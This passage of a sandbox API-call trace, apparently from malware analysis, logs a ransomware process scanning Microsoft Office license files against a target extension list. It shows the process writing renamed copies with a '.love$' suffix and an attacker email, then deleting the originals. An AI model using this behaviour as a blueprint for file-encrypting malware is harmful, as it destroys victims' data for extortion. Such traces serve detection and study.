Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.909] lstrlenW (lpString=".doc") returned 4 [0266.909] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.909] lstrlenW (lpString=".docx") returned 5 [0266.909] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.909] lstrlenW (lpString=".pdf") returned 4 [0266.910] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString=".xls") returned 4 [0266.910] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString=".xlsx") returned 5 [0266.910] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.910] lstrlenW (lpString=".ppt") returned 4 [0266.910] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.910] lstrlenW (lpString=".zip") returned 4 [0266.910] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString=".rar") returned 4 [0266.910] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString=".bz2") returned 4 [0266.910] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString=".7z") returned 3 [0266.910] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.910] lstrlenW (lpString=".dbf") returned 4 [0266.910] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.910] lstrlenW (lpString=".1cd") returned 4 [0266.910] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.911] lstrlenW (lpString=".jpg") returned 4 [0266.911] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.911] lstrlenW (lpString=".doc") returned 4 [0266.911] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString=".docx") returned 5 [0266.911] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.911] lstrlenW (lpString=".pdf") returned 4 [0266.911] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString=".xls") returned 4 [0266.911] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString=".xlsx") returned 5 [0266.911] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.911] lstrlenW (lpString=".ppt") returned 4 [0266.911] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.911] lstrlenW (lpString=".zip") returned 4 [0266.912] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.912] lstrlenW (lpString=".rar") returned 4 [0266.912] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.912] lstrlenW (lpString=".bz2") returned 4 [0266.912] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.912] lstrlenW (lpString=".7z") returned 3 [0266.912] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.912] lstrlenW (lpString=".dbf") returned 4 [0266.912] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.912] lstrlenW (lpString=".1cd") returned 4 [0266.912] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms") returned 83 [0266.912] lstrlenW (lpString=".jpg") returned 4 [0266.912] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.912] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0266.912] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32 [0266.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.914] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11616) returned 1 [0266.914] CloseHandle (hObject=0x484) returned 1 [0266.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0266.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0266.915] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.915] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0266.917] GetLastError () returned 0x0 [0266.917] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d60, lpOverlapped=0x0) returned 1 [0266.920] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d70, lpOverlapped=0x0) returned 1 [0266.923] ReadFile (in: hFile=0x484, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0266.923] WriteFile (in: hFile=0x4b0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x114, lpOverlapped=0x0) returned 1 [0266.923] SetEndOfFile (hFile=0x4b0) returned 1 [0266.923] CloseHandle (hObject=0x4b0) returned 1 [0266.923] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0266.923] SetEndOfFile (hFile=0x484) returned 1 [0266.928] CloseHandle (hObject=0x484) returned 1 [0266.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0266.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0266.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.930] lstrlenW (lpString=".doc") returned 4 [0266.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.930] lstrlenW (lpString=".docx") returned 5 [0266.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.930] lstrlenW (lpString=".pdf") returned 4 [0266.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.930] lstrlenW (lpString=".xls") returned 4 [0266.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.930] lstrlenW (lpString=".xlsx") returned 5 [0266.931] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.931] lstrlenW (lpString=".ppt") returned 4 [0266.931] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.931] lstrlenW (lpString=".zip") returned 4 [0266.931] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString=".rar") returned 4 [0266.931] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString=".bz2") returned 4 [0266.931] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString=".7z") returned 3 [0266.931] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.931] lstrlenW (lpString=".dbf") returned 4 [0266.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.931] lstrlenW (lpString=".1cd") returned 4 [0266.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.931] lstrlenW (lpString=".jpg") returned 4 [0266.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0266.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.932] lstrlenW (lpString=".doc") returned 4 [0266.932] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".docx") returned 5 [0266.932] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0266.932] lstrlenW (lpString=".pdf") returned 4 [0266.932] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".xls") returned 4 [0266.932] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".xlsx") returned 5 [0266.932] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0266.932] lstrlenW (lpString=".ppt") returned 4 [0266.932] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.932] lstrlenW (lpString=".zip") returned 4 [0266.932] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".rar") returned 4 [0266.932] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".bz2") returned 4 [0266.932] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0266.932] lstrlenW (lpString=".7z") returned 3 [0266.932] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0266.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0266.932] lstrlenW (lpString=".dbf") returned 4 [0267.330] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0267.330] lstrlenW (lpString=".1cd") returned 4 [0267.330] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0267.331] lstrlenW (lpString=".jpg") returned 4 [0267.331] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.331] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.331] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35 [0267.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.334] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11623) returned 1 [0267.334] CloseHandle (hObject=0x3f4) returned 1 [0267.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0267.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.336] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.336] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.338] GetLastError () returned 0x0 [0267.338] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d67, lpOverlapped=0x0) returned 1 [0267.341] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d70, lpOverlapped=0x0) returned 1 [0267.343] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0267.343] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x11a, lpOverlapped=0x0) returned 1 [0267.343] SetEndOfFile (hFile=0x534) returned 1 [0267.343] CloseHandle (hObject=0x534) returned 1 [0267.343] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.343] SetEndOfFile (hFile=0x3f4) returned 1 [0267.348] CloseHandle (hObject=0x3f4) returned 1 [0267.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0267.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.351] lstrlenW (lpString=".doc") returned 4 [0267.351] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.351] lstrlenW (lpString=".docx") returned 5 [0267.351] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.351] lstrlenW (lpString=".pdf") returned 4 [0267.351] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.351] lstrlenW (lpString=".xls") returned 4 [0267.351] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.351] lstrlenW (lpString=".xlsx") returned 5 [0267.352] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.352] lstrlenW (lpString=".ppt") returned 4 [0267.352] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.352] lstrlenW (lpString=".zip") returned 4 [0267.352] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString=".rar") returned 4 [0267.352] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString=".bz2") returned 4 [0267.352] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString=".7z") returned 3 [0267.352] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.352] lstrlenW (lpString=".dbf") returned 4 [0267.352] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.352] lstrlenW (lpString=".1cd") returned 4 [0267.352] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.352] lstrlenW (lpString=".jpg") returned 4 [0267.353] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.353] lstrlenW (lpString=".doc") returned 4 [0267.353] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString=".docx") returned 5 [0267.353] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0267.353] lstrlenW (lpString=".pdf") returned 4 [0267.353] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString=".xls") returned 4 [0267.353] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString=".xlsx") returned 5 [0267.353] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0267.353] lstrlenW (lpString=".ppt") returned 4 [0267.353] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.353] lstrlenW (lpString=".zip") returned 4 [0267.353] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString=".rar") returned 4 [0267.353] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0267.353] lstrlenW (lpString=".bz2") returned 4 [0267.354] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0267.354] lstrlenW (lpString=".7z") returned 3 [0267.354] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.354] lstrlenW (lpString=".dbf") returned 4 [0267.354] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.354] lstrlenW (lpString=".1cd") returned 4 [0267.354] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0267.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0267.354] lstrlenW (lpString=".jpg") returned 4 [0267.354] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0267.354] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0267.355] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23 [0267.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.356] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=26459) returned 1 [0267.356] CloseHandle (hObject=0x3f4) returned 1 [0267.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0267.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.359] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.359] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0267.361] GetLastError () returned 0x0 [0267.361] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x675b, lpOverlapped=0x0) returned 1 [0267.365] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x6760, lpOverlapped=0x0) returned 1 [0267.367] ReadFile (in: hFile=0x3f4, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0267.367] WriteFile (in: hFile=0x534, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x102, lpOverlapped=0x0) returned 1 [0267.368] SetEndOfFile (hFile=0x534) returned 1 [0267.368] CloseHandle (hObject=0x534) returned 1 [0267.368] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0267.368] SetEndOfFile (hFile=0x3f4) returned 1 [0267.617] CloseHandle (hObject=0x3f4) returned 1 